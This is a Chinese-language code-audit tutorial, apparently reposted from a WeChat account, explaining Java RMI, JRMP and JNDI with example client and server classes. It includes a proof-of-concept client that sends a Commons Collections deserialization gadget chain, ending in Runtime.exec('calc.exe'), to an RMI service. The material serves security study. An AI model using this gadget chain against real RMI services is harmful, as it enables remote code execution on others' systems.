前言
在分析Fastjson漏洞前，需要了解RMI机制和JNDI注入等知识点，所以本篇文来分析一下RMI机制
在Java里面简单来说使用Java调用远程Java程序使用的就是RMI，调用C的程序调用的是JNI，调用python程序使用到的是Jython。RMI、JNI、Jython，其实在安全中都能发挥比较大的作用。JNI在安全里面的运用就比较大了，既然可以调用C语言，那么后面的。。自行脑补。这个暂且忽略不讲，后面再说。如果使用或了解过python编写burp的插件的话，对这个Jython也不会陌生，如果说pthon的插件就需要安装一个Jython的jar包。这个后面再说。这里主要讲RMI，该机制会在反序列化中频繁运用，例如Weblogic的T3协议的反序列化漏洞。
Rmi：远程方法调用， JRMP：Java远程消息交换协议。这是运行在Java RMI之下、TCP/IP之上的线路层协议。该协议要求服务端与客户端都为Java编写，就像HTTP协议一样，规定了客户端和服务端通信要满足的规范。JNDI :Java命名和目录接口（the Java naming and directory interface，JNDI）是一组在Java应用中访问命名和目录服务的API。命名服务将名称和对象联系起来，使得读者可以用名称访问对象。目录服务是一种命名服务，在这种服务里，对象不但有名称，还有属性。
Rmi为远程方法调用，是允许在一个java虚拟机的对象调用另一个java虚拟器的方法，这俩个虚拟机可以在一台计算机的不同进程中，也可在不同网络的计算机中
Registry: 注册表，存放着远程对象的位置(ip,端口) client: 调用远程的对象 Server: 提供远程的对象
前面说过RMI可以调用远程的一个java对象
import
RmiStudyOne.HelloInterface;import
java.rmi.NotBoundException;import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class
Client {
//获取远程主机对象
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
//利用注册表的代理去获取远程注册表中名为hello的对象
HelloInterface helloInterface = (HelloInterface) registry.lookup("test");
//调用远程方法
System.out.println(helloInterface.say("1234"));
}
}
package RmiStudyOne;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
//注册远程对象
public class Server {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
//创建远程对象
HelloInterface helloservice = new HelloImpl();
//创建注册表
Registry registry = LocateRegistry.createRegistry(1099);
//绑定ip,默认是127.0.0.1
System.setProperty("java.rmi.server.hostname","127.0.0.1");
//绑定远程对象到注册表李，并且命名为Hello
registry.bind("test",helloservice);
}
}
package RmiStudyOne;
import RmiStudyOne.HelloInterface;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class HelloImpl extends UnicastRemoteObject implements HelloInterface {
public HelloImpl() throws RemoteException {
super();
System.out.println("构造方法");
}
public String say(String name) throws RemoteException {
return "test"+name;
}
}
package RmiStudyOne;
import java.rmi.Remote;
import java.rmi.RemoteException;
//创建接口，必须继承Remote
public interface HelloInterface extends Remote {
//每个函数必须抛出RemoteException异常
String say(String name) throws RemoteException;
}
package RmiStudyTwo;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class client {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
User user = (User)registry.lookup("user");
user.work(getpayload());
//另一种写法
// String url = "rmi://192.168.20.130:1099/user";
// User userClient = (User) Naming.lookup(url);
// userClient.work(getpayload());
}
public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "sijidou");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, transformedMap);
return instance;
}
}
package RmiStudyTwo;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
User user = new UserImpl();
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("user",user);
System.out.println("Rmi://127.0.0.1:1099");
}
}
package RmiStudyTwo;
import java.rmi.Remote;
import java.rmi.RemoteException;
//远程接口类
public interface User extends Remote {
public String hello(String hello)throws RemoteException;
void work(Object object) throws RemoteException;
void say() throws RemoteException;
}
package RmiStudyTwo;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class UserImpl extends UnicastRemoteObject implements User{
protected UserImpl() throws RemoteException {
super();
}
public String hello(String hello) throws RemoteException {
return "hello function";
}
public void work(Object object) throws RemoteException {
System.out.println("work方法被调用");
}
public void say() throws RemoteException {
System.out.println("say方法调用");
}
}
原文始发于微信公众号（安全宇宙）：代码审计-反序列化RMI分析
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